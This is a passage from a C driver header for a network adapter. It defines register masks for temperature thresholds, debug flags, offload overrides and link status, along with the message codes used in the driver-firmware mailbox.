EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO11 0x0c000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO12 0x0d000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO13 0x0e000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO14 0x0f000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO15 0x10000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO16 0x11000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO17 0x12000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO18 0x13000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO19 0x14000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO20 0x15000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO21 0x16000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO22 0x17000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO23 0x18000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO24 0x19000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO25 0x1a000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO26 0x1b000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO27 0x1c000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO28 0x1d000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO29 0x1e000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO30 0x1f000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SHUT_EPIO_EPIO31 0x20000000 /* EPIO of shut down temperature status */ uint32_t temperature_monitor2; /* 0x4004 */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_PERIOD_MASK 0x0000FFFF #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_PERIOD_SHIFT 0 /* MFW flavor to be used */ uint32_t mfw_cfg; /* 0x4008 */ #define EXTENDED_DEV_INFO_SHARED_CFG_MFW_FLAVOR_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_MFW_FLAVOR_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_MFW_FLAVOR_NA 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_MFW_FLAVOR_A 0x00000001 /* Should NIC data query remain enabled upon last drv unload */ #define EXTENDED_DEV_INFO_SHARED_CFG_OCBB_EN_LAST_DRV_MASK 0x00000100 #define EXTENDED_DEV_INFO_SHARED_CFG_OCBB_EN_LAST_DRV_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_OCBB_EN_LAST_DRV_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_OCBB_EN_LAST_DRV_ENABLED 0x00000100 /* Hide DCBX feature in CCM/BACS menus */ #define EXTENDED_DEV_INFO_SHARED_CFG_HIDE_DCBX_FEAT_MASK 0x00010000 #define EXTENDED_DEV_INFO_SHARED_CFG_HIDE_DCBX_FEAT_SHIFT 16 #define EXTENDED_DEV_INFO_SHARED_CFG_HIDE_DCBX_FEAT_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_HIDE_DCBX_FEAT_ENABLED 0x00010000 uint32_t smbus_config; /* 0x400C */ #define EXTENDED_DEV_INFO_SHARED_CFG_SMBUS_ADDR_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_SMBUS_ADDR_SHIFT 0 /* Switching regulator loop gain */ uint32_t board_cfg; /* 0x4010 */ #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_MASK 0x0000000F #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_HW_DEFAULT 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_X2 0x00000008 #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_X4 0x00000009 #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_X8 0x0000000a #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_X16 0x0000000b #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_DIV8 0x0000000c #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_DIV4 0x0000000d #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_DIV2 0x0000000e #define EXTENDED_DEV_INFO_SHARED_CFG_LOOP_GAIN_X1 0x0000000f /* whether shadow swim feature is supported */ #define EXTENDED_DEV_INFO_SHARED_CFG_SHADOW_SWIM_MASK 0x00000100 #define EXTENDED_DEV_INFO_SHARED_CFG_SHADOW_SWIM_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_SHADOW_SWIM_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_SHADOW_SWIM_ENABLED 0x00000100 /* whether to show/hide SRIOV menu in CCM */ #define EXTENDED_DEV_INFO_SHARED_CFG_SRIOV_SHOW_MENU_MASK 0x00000200 #define EXTENDED_DEV_INFO_SHARED_CFG_SRIOV_SHOW_MENU_SHIFT 9 #define EXTENDED_DEV_INFO_SHARED_CFG_SRIOV_SHOW_MENU 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_SRIOV_HIDE_MENU 0x00000200 /* Threshold in celcius for max continuous operation */ uint32_t temperature_report; /* 0x4014 */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_MCOT_MASK 0x0000007F #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_MCOT_SHIFT 0 /* Threshold in celcius for sensor caution */ #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SCT_MASK 0x00007F00 #define EXTENDED_DEV_INFO_SHARED_CFG_TEMP_SCT_SHIFT 8 /* wwn node prefix to be used (unless value is 0) */ uint32_t wwn_prefix; /* 0x4018 */ #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_NODE_PREFIX0_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_NODE_PREFIX0_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_NODE_PREFIX1_MASK 0x0000FF00 #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_NODE_PREFIX1_SHIFT 8 /* wwn port prefix to be used (unless value is 0) */ #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_PORT_PREFIX0_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_PORT_PREFIX0_SHIFT 16 /* wwn port prefix to be used (unless value is 0) */ #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_PORT_PREFIX1_MASK 0xFF000000 #define EXTENDED_DEV_INFO_SHARED_CFG_WWN_PORT_PREFIX1_SHIFT 24 /* General debug nvm cfg */ uint32_t dbg_cfg_flags; /* 0x401C */ #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_MASK 0x000FFFFF #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_ENABLE 0x00000001 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_EN_SIGDET_FILTER 0x00000002 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SET_LP_TX_PRESET7 0x00000004 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SET_TX_ANA_DEFAULT 0x00000008 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SET_PLL_ANA_DEFAULT 0x00000010 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_FORCE_G1PLL_RETUNE 0x00000020 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SET_RX_ANA_DEFAULT 0x00000040 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_FORCE_SERDES_RX_CLK 0x00000080 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_DIS_RX_LP_EIEOS 0x00000100 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_FINALIZE_UCODE 0x00000200 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_HOLDOFF_REQ 0x00000400 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_RX_SIGDET_OVERRIDE 0x00000800 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_GP_PORG_UC_RESET 0x00001000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SUPPRESS_COMPEN_EVT 0x00002000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_ADJ_TXEQ_P0_P1 0x00004000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_G3_PLL_RETUNE 0x00008000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_SET_MAC_PHY_CTL8 0x00010000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_DIS_MAC_G3_FRM_ERR 0x00020000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_INFERRED_EI 0x00040000 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_GEN3_COMPLI_ENA 0x00080000 /* Debug signet rx threshold */ uint32_t dbg_rx_sigdet_threshold; /* 0x4020 */ #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_RX_SIGDET_MASK 0x00000007 #define EXTENDED_DEV_INFO_SHARED_CFG_DBG_RX_SIGDET_SHIFT 0 /* Enable IFFE feature */ uint32_t iffe_features; /* 0x4024 */ #define EXTENDED_DEV_INFO_SHARED_CFG_ENABLE_IFFE_MASK 0x00000001 #define EXTENDED_DEV_INFO_SHARED_CFG_ENABLE_IFFE_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_ENABLE_IFFE_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_ENABLE_IFFE_ENABLED 0x00000001 /* Allowable port enablement (bitmask for ports 3-1) */ #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_PORT_MASK 0x0000000E #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_PORT_SHIFT 1 /* Allow iSCSI offload override */ #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_ISCSI_MASK 0x00000010 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_ISCSI_SHIFT 4 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_ISCSI_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_ISCSI_ENABLED 0x00000010 /* Allow FCoE offload override */ #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_FCOE_MASK 0x00000020 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_FCOE_SHIFT 5 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_FCOE_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_OVERRIDE_FCOE_ENABLED 0x00000020 /* Tie to adaptor */ #define EXTENDED_DEV_INFO_SHARED_CFG_TIE_ADAPTOR_MASK 0x00008000 #define EXTENDED_DEV_INFO_SHARED_CFG_TIE_ADAPTOR_SHIFT 15 #define EXTENDED_DEV_INFO_SHARED_CFG_TIE_ADAPTOR_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_TIE_ADAPTOR_ENABLED 0x00008000 /* Currently enabled port(s) (bitmask for ports 3-1) */ uint32_t current_iffe_mask; /* 0x4028 */ #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_CFG_MASK 0x0000000E #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_CFG_SHIFT 1 /* Current iSCSI offload */ #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_ISCSI_MASK 0x00000010 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_ISCSI_SHIFT 4 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_ISCSI_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_ISCSI_ENABLED 0x00000010 /* Current FCoE offload */ #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_FCOE_MASK 0x00000020 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_FCOE_SHIFT 5 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_FCOE_DISABLED 0x00000000 #define EXTENDED_DEV_INFO_SHARED_CFG_CURRENT_FCOE_ENABLED 0x00000020 /* FW set this pin to "0" (assert) these signal if either of its MAC * or PHY specific threshold values is exceeded. * Values are standard GPIO/EPIO pins. */ uint32_t threshold_pin; /* 0x402C */ #define EXTENDED_DEV_INFO_SHARED_CFG_TCONTROL_PIN_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_TCONTROL_PIN_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_TWARNING_PIN_MASK 0x0000FF00 #define EXTENDED_DEV_INFO_SHARED_CFG_TWARNING_PIN_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_TCRITICAL_PIN_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_TCRITICAL_PIN_SHIFT 16 /* MAC die temperature threshold in Celsius. */ uint32_t mac_threshold_val; /* 0x4030 */ #define EXTENDED_DEV_INFO_SHARED_CFG_CONTROL_MAC_THRESH_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_CONTROL_MAC_THRESH_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_WARNING_MAC_THRESH_MASK 0x0000FF00 #define EXTENDED_DEV_INFO_SHARED_CFG_WARNING_MAC_THRESH_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_CRITICAL_MAC_THRESH_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_CRITICAL_MAC_THRESH_SHIFT 16 /* PHY die temperature threshold in Celsius. */ uint32_t phy_threshold_val; /* 0x4034 */ #define EXTENDED_DEV_INFO_SHARED_CFG_CONTROL_PHY_THRESH_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_CONTROL_PHY_THRESH_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_WARNING_PHY_THRESH_MASK 0x0000FF00 #define EXTENDED_DEV_INFO_SHARED_CFG_WARNING_PHY_THRESH_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_CRITICAL_PHY_THRESH_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_CRITICAL_PHY_THRESH_SHIFT 16 /* External pins to communicate with host. * Values are standard GPIO/EPIO pins. */ uint32_t host_pin; /* 0x4038 */ #define EXTENDED_DEV_INFO_SHARED_CFG_I2C_ISOLATE_MASK 0x000000FF #define EXTENDED_DEV_INFO_SHARED_CFG_I2C_ISOLATE_SHIFT 0 #define EXTENDED_DEV_INFO_SHARED_CFG_MEZZ_FAULT_MASK 0x0000FF00 #define EXTENDED_DEV_INFO_SHARED_CFG_MEZZ_FAULT_SHIFT 8 #define EXTENDED_DEV_INFO_SHARED_CFG_MEZZ_VPD_UPDATE_MASK 0x00FF0000 #define EXTENDED_DEV_INFO_SHARED_CFG_MEZZ_VPD_UPDATE_SHIFT 16 #define EXTENDED_DEV_INFO_SHARED_CFG_VPD_CACHE_COMP_MASK 0xFF000000 #define EXTENDED_DEV_INFO_SHARED_CFG_VPD_CACHE_COMP_SHIFT 24 }; #if !defined(__LITTLE_ENDIAN) && !defined(__BIG_ENDIAN) #error "Missing either LITTLE_ENDIAN or BIG_ENDIAN definition." #endif #define FUNC_0 0 #define FUNC_1 1 #define FUNC_2 2 #define FUNC_3 3 #define FUNC_4 4 #define FUNC_5 5 #define FUNC_6 6 #define FUNC_7 7 #define E1H_FUNC_MAX 8 #define E2_FUNC_MAX 4 /* per path */ #define VN_0 0 #define VN_1 1 #define VN_2 2 #define VN_3 3 #define E1VN_MAX 1 #define E1HVN_MAX 4 #define E2_VF_MAX 64 /* HC_REG_VF_CONFIGURATION_SIZE */ /* This value (in milliseconds) determines the frequency of the driver * issuing the PULSE message code. The firmware monitors this periodic * pulse to determine when to switch to an OS-absent mode. */ #define DRV_PULSE_PERIOD_MS 250 /* This value (in milliseconds) determines how long the driver should * wait for an acknowledgement from the firmware before timing out. Once * the firmware has timed out, the driver will assume there is no firmware * running and there won't be any firmware-driver synchronization during a * driver reset. */ #define FW_ACK_TIME_OUT_MS 5000 #define FW_ACK_POLL_TIME_MS 1 #define FW_ACK_NUM_OF_POLL (FW_ACK_TIME_OUT_MS/FW_ACK_POLL_TIME_MS) #define MFW_TRACE_SIGNATURE 0x54524342 /**************************************************************************** * Driver <-> FW Mailbox * ****************************************************************************/ struct drv_port_mb { uint32_t link_status; /* Driver should update this field on any link change event */ #define LINK_STATUS_NONE (0<<0) #define LINK_STATUS_LINK_FLAG_MASK 0x00000001 #define LINK_STATUS_LINK_UP 0x00000001 #define LINK_STATUS_SPEED_AND_DUPLEX_MASK 0x0000001E #define LINK_STATUS_SPEED_AND_DUPLEX_AN_NOT_COMPLETE (0<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_10THD (1<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_10TFD (2<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_100TXHD (3<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_100T4 (4<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_100TXFD (5<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_1000THD (6<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_1000TFD (7<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_1000XFD (7<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_2500THD (8<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_2500TFD (9<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_2500XFD (9<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_10GTFD (10<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_10GXFD (10<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_20GTFD (11<<1) #define LINK_STATUS_SPEED_AND_DUPLEX_20GXFD (11<<1) #define LINK_STATUS_AUTO_NEGOTIATE_FLAG_MASK 0x00000020 #define LINK_STATUS_AUTO_NEGOTIATE_ENABLED 0x00000020 #define LINK_STATUS_AUTO_NEGOTIATE_COMPLETE 0x00000040 #define LINK_STATUS_PARALLEL_DETECTION_FLAG_MASK 0x00000080 #define LINK_STATUS_PARALLEL_DETECTION_USED 0x00000080 #define LINK_STATUS_LINK_PARTNER_1000TFD_CAPABLE 0x00000200 #define LINK_STATUS_LINK_PARTNER_1000THD_CAPABLE 0x00000400 #define LINK_STATUS_LINK_PARTNER_100T4_CAPABLE 0x00000800 #define LINK_STATUS_LINK_PARTNER_100TXFD_CAPABLE 0x00001000 #define LINK_STATUS_LINK_PARTNER_100TXHD_CAPABLE 0x00002000 #define LINK_STATUS_LINK_PARTNER_10TFD_CAPABLE 0x00004000 #define LINK_STATUS_LINK_PARTNER_10THD_CAPABLE 0x00008000 #define LINK_STATUS_TX_FLOW_CONTROL_FLAG_MASK 0x00010000 #define LINK_STATUS_TX_FLOW_CONTROL_ENABLED 0x00010000 #define LINK_STATUS_RX_FLOW_CONTROL_FLAG_MASK 0x00020000 #define LINK_STATUS_RX_FLOW_CONTROL_ENABLED 0x00020000 #define LINK_STATUS_LINK_PARTNER_FLOW_CONTROL_MASK 0x000C0000 #define LINK_STATUS_LINK_PARTNER_NOT_PAUSE_CAPABLE (0<<18) #define LINK_STATUS_LINK_PARTNER_SYMMETRIC_PAUSE (1<<18) #define LINK_STATUS_LINK_PARTNER_ASYMMETRIC_PAUSE (2<<18) #define LINK_STATUS_LINK_PARTNER_BOTH_PAUSE (3<<18) #define LINK_STATUS_SERDES_LINK 0x00100000 #define LINK_STATUS_LINK_PARTNER_2500XFD_CAPABLE 0x00200000 #define LINK_STATUS_LINK_PARTNER_2500XHD_CAPABLE 0x00400000 #define LINK_STATUS_LINK_PARTNER_10GXFD_CAPABLE 0x00800000 #define LINK_STATUS_LINK_PARTNER_20GXFD_CAPABLE 0x10000000 #define LINK_STATUS_PFC_ENABLED 0x20000000 #define LINK_STATUS_PHYSICAL_LINK_FLAG 0x40000000 #define LINK_STATUS_SFP_TX_FAULT 0x80000000 uint32_t port_stx; uint32_t stat_nig_timer; /* MCP firmware does not use this field */ uint32_t ext_phy_fw_version; }; struct drv_func_mb { uint32_t drv_mb_header; #define DRV_MSG_CODE_MASK 0xffff0000 #define DRV_MSG_CODE_LOAD_REQ 0x10000000 #define DRV_MSG_CODE_LOAD_DONE 0x11000000 #define DRV_MSG_CODE_UNLOAD_REQ_WOL_EN 0x20000000 #define DRV_MSG_CODE_UNLOAD_REQ_WOL_DIS 0x20010000 #define DRV_MSG_CODE_UNLOAD_REQ_WOL_MCP 0x20020000 #define DRV_MSG_CODE_UNLOAD_DONE 0x21000000 #define DRV_MSG_CODE_DCC_OK 0x30000000 #define DRV_MSG_CODE_DCC_FAILURE 0x31000000 #define DRV_MSG_CODE_DIAG_ENTER_REQ 0x50000000 #define DRV_MSG_CODE_DIAG_EXIT_REQ 0x60000000 #define DRV_MSG_CODE_VALIDATE_KEY 0x70000000 #define DRV_MSG_CODE_GET_CURR_KEY 0x80000000 #define DRV_MSG_CODE_GET_UPGRADE_KEY 0x81000000 #define DRV_MSG_CODE_GET_MANUF_KEY 0x82000000 #define DRV_MSG_CODE_LOAD_L2B_PRAM 0x90000000 /* * The optic module verification command requires bootcode * v5.0.6 or later, te specific optic module verification command * requires bootcode v5.2.12 or later */ #define DRV_MSG_CODE_VRFY_FIRST_PHY_OPT_MDL 0xa0000000 #define REQ_BC_VER_4_VRFY_FIRST_PHY_OPT_MDL 0x00050006 #define DRV_MSG_CODE_VRFY_SPECIFIC_PHY_OPT_MDL 0xa1000000 #define REQ_BC_VER_4_VRFY_SPECIFIC_PHY_OPT_MDL 0x00050234 #define DRV_MSG_CODE_VRFY_AFEX_SUPPORTED 0xa2000000 #define REQ_BC_VER_4_VRFY_AFEX_SUPPORTED 0x00070002 #define REQ_BC_VER_4_SFP_TX_DISABLE_SUPPORTED 0x00070014 #define REQ_BC_VER_4_MT_SUPPORTED 0x00070201 #define REQ_BC_VER_4_PFC_STATS_SUPPORTED 0x00070201 #define REQ_BC_VER_4_FCOE_FEATURES 0x00070209 #define DRV_MSG_CODE_DCBX_ADMIN_PMF_MSG 0xb0000000 #define DRV_MSG_CODE_DCBX_PMF_DRV_OK 0xb2000000 #define REQ_BC_VER_4_DCBX_ADMIN_MSG_NON_PMF 0x00070401 #define DRV_MSG_CODE_VF_DISABLED_DONE 0xc0000000 #define DRV_MSG_CODE_AFEX_DRIVER_SETMAC 0xd0000000 #define DRV_MSG_CODE_AFEX_LISTGET_ACK 0xd1000000 #define DRV_MSG_CODE_AFEX_LISTSET_ACK 0xd2000000 #define DRV_MSG_CODE_AFEX_STATSGET_ACK 0xd3000000 #define DRV_MSG_CODE_AFEX_VIFSET_ACK 0xd4000000 #define DRV_MSG_CODE_DRV_INFO_ACK 0xd8000000 #define DRV_MSG_CODE_DRV_INFO_NACK 0xd9000000 #define DRV_MSG_CODE_EEE_RESULTS_ACK 0xda000000 #define DRV_MSG_CODE_RMMOD 0xdb000000 #define REQ_BC_VER_4_RMMOD_CMD 0x0007080f #define DRV_MSG_CODE_SET_MF_BW 0xe0000000 #define REQ_BC_VER_4_SET_MF_BW 0x00060202 #define DRV_MSG_CODE_SET_MF_BW_ACK 0xe1000000 #define DRV_MSG_CODE_LINK_STATUS_CHANGED 0x01000000 #define DRV_MSG_CODE_INITIATE_FLR 0x02000000 #define REQ_BC_VER_4_INITIATE_FLR 0x00070213 #define BIOS_MSG_CODE_LIC_CHALLENGE 0xff010000 #define BIOS_MSG_CODE_LIC_RESPONSE 0xff020000 #define BIOS_MSG_CODE_VIRT_MAC_PRIM 0xff030000 #define BIOS_MSG_CODE_VIRT_MAC_ISCSI 0xff040000 #define DRV_MSG_CODE_IMG_OFFSET_REQ 0xe2000000 #define DRV_MSG_CODE_IMG_SIZE_REQ 0xe3000000 #define DRV_MSG_SEQ_NUMBER_MASK 0x0000ffff uint32_t drv_mb_param; #define DRV_MSG_CODE_SET_MF_BW_MIN_MASK 0x00ff0000 #define DRV_MSG_CODE_SET_MF_BW_MAX_MASK 0xff000000 #define DRV_MSG_CODE_UNLOAD_NON_D3_POWER 0x00000001 #define DRV_MSG_CODE_UNLOAD_SKIP_LINK_RESET 0x00000002 #define DRV_MSG_CODE_LOAD_REQ_WITH_LFA 0x0000100a #define DRV_MSG_CODE_LOAD_REQ_FORCE_LFA 0x00002000 #define DRV_MSG_CODE_USR_BLK_IMAGE_REQ 0x00000001 uint32_t fw_mb_header; #define FW_MSG_CODE_MASK 0xffff0000 #define FW_MSG_CODE_DRV_LOAD_COMMON 0x10100000 #define FW_MSG_CODE_DRV_LOAD_PORT 0x10110000 #define FW_MSG_CODE_DRV_LOAD_FUNCTION 0x10120000 /* Load common chip is supported from bc 6.0.0 */ #define REQ_BC_VER_4_DRV_LOAD_COMMON_CHIP 0x00060000 #define FW_MSG_CODE_DRV_LOAD_COMMON_CHIP 0x10130000 #define FW_MSG_CODE_DRV_LOAD_REFUSED 0x10200000 #define FW_MSG_CODE_DRV_LOAD_DONE 0x11100000 #define FW_MSG_CODE_DRV_UNLOAD_COMMON 0x20100000 #define FW_MSG_CODE_DRV_UNLOAD_PORT 0x20110000 #define FW_MSG_CODE_DRV_UNLOAD_FUNCTION 0x20120000 #define FW_MSG_CODE_DRV_UNLOAD_DONE 0x21100000 #define FW_MSG_CODE_DCC_DONE 0x30100000 #define FW_MSG_CODE_LLDP_DONE 0x40100000 #define FW_MSG_CODE_DIAG_ENTER_DONE 0x50100000 #define FW_MSG_CODE_DIAG_REFUSE 0x50200000 #define FW_MSG_CODE_DIAG_EXIT_DONE 0x60100000 #define FW_MSG_CODE_VALIDATE_KEY_SUCCESS 0x70100000 #define FW_MSG_CODE_VALIDATE_KEY_FAILURE 0x70200000 #define FW_MSG_CODE_GET_KEY_DONE 0x80100000 #define FW_MSG_CODE_NO_KEY 0x80f00000 #define FW_MSG_CODE_LIC_INFO_NOT_READY 0x80f80000 #define FW_MSG_CODE_L2B_PRAM_LOADED 0x90100000 #define FW_MSG_CODE_L2B_PRAM_T_LOAD_FAILURE 0x90210000 #define FW_MSG_CODE_L2B_PRAM_C_LOAD_FAILURE 0x90220000 #define FW_MSG_CODE_L2B_PRAM_X_LOAD_FAILURE 0x90230000 #define FW_MSG_CODE_L2B_PRAM_U_LOAD_FAILURE 0x90240000 #define FW_MSG_CODE_VRFY_OPT_MDL_SUCCESS 0xa0100000 #define FW_MSG_CODE_VRFY_OPT_MDL_INVLD_IMG 0xa0200000 #define FW_MSG_CODE_VRFY_OPT_MDL_UNAPPROVED 0xa0300000 #define FW_MSG_CODE_VF_DISABLED_DONE 0xb0000000 #define FW_MSG_CODE_HW_SET_INVALID_IMAGE 0xb0100000 #define FW_MSG_CODE_AFEX_DRIVER_SETMAC_DONE 0xd0100000 #define FW_MSG_CODE_AFEX_LISTGET_ACK 0xd1100000 #define FW_MSG_CODE_AFEX_LISTSET_ACK 0xd2100000 #define FW_MSG_CODE_AFEX_STATSGET_ACK 0xd3100000 #define FW_MSG_CODE_AFEX_VIFSET_ACK 0xd4100000 #define FW_MSG_CODE_DRV_INFO_ACK 0xd8100000 #define FW_MSG_CODE_DRV_INFO_NACK 0xd9100000 #define FW_MSG_CODE_EEE_RESULS_ACK 0xda100000 #define FW_MSG_CODE_RMMOD_ACK 0xdb100000 #define FW_MSG_CODE_SET_MF_BW_SENT 0xe0000000 #define FW_MSG_CODE_SET_MF_BW_DONE 0xe1000000 #define FW_MSG_CODE_LINK_CHANGED_ACK 0x01100000 #define FW_MSG_CODE_FLR_ACK 0x02000000 #define FW_MSG_CODE_FLR_NACK 0x02100000 #define FW_MSG_CODE_LIC_CHALLENGE 0xff010000 #define FW_MSG_CODE_LIC_RESPONSE 0xff020000 #define FW_MSG_CODE_VIRT_MAC_PRIM 0xff030000 #define FW_MSG_CODE_VIRT_MAC_ISCSI 0xff040000 #define FW_MSG_CODE_IMG_OFFSET_RESPONSE 0xe2100000 #define FW_MSG_CODE_IMG_SIZE_RESPONSE 0xe3100000 #define FW_MSG_SEQ_NUMBER_MASK 0x0000ffff uint32_t fw_mb_param; #define FW_PARAM_INVALID_IMG 0xffffffff uint32_t drv_pulse_mb; #define DRV_PULSE_SEQ_MASK 0x00007fff #define DRV_PULSE_SYSTEM_TIME_MASK 0xffff0000 /* * The system time is in the format of * (year-2001)*12*32 + month*32 + day. */ #define DRV_PULSE_ALWAYS_ALIVE 0x00008000 /* * Indicate to the firmware not to go into the * OS-absent when it is not getting driver pulse. * This is used for debugging as well for PXE(MBA). */ uint32_t mcp_pulse_mb; #define MCP_PULSE_SEQ_MASK 0x00007fff #define MCP_PULSE_ALWAYS_ALIVE 0x00008000 /* Indicates to the driver not to assert due to lack * of MCP response */ #define MCP_EVENT_MASK 0xffff0000 #define MCP_EVENT_OTHER_DRIVER_RESET_REQ 0x00010000 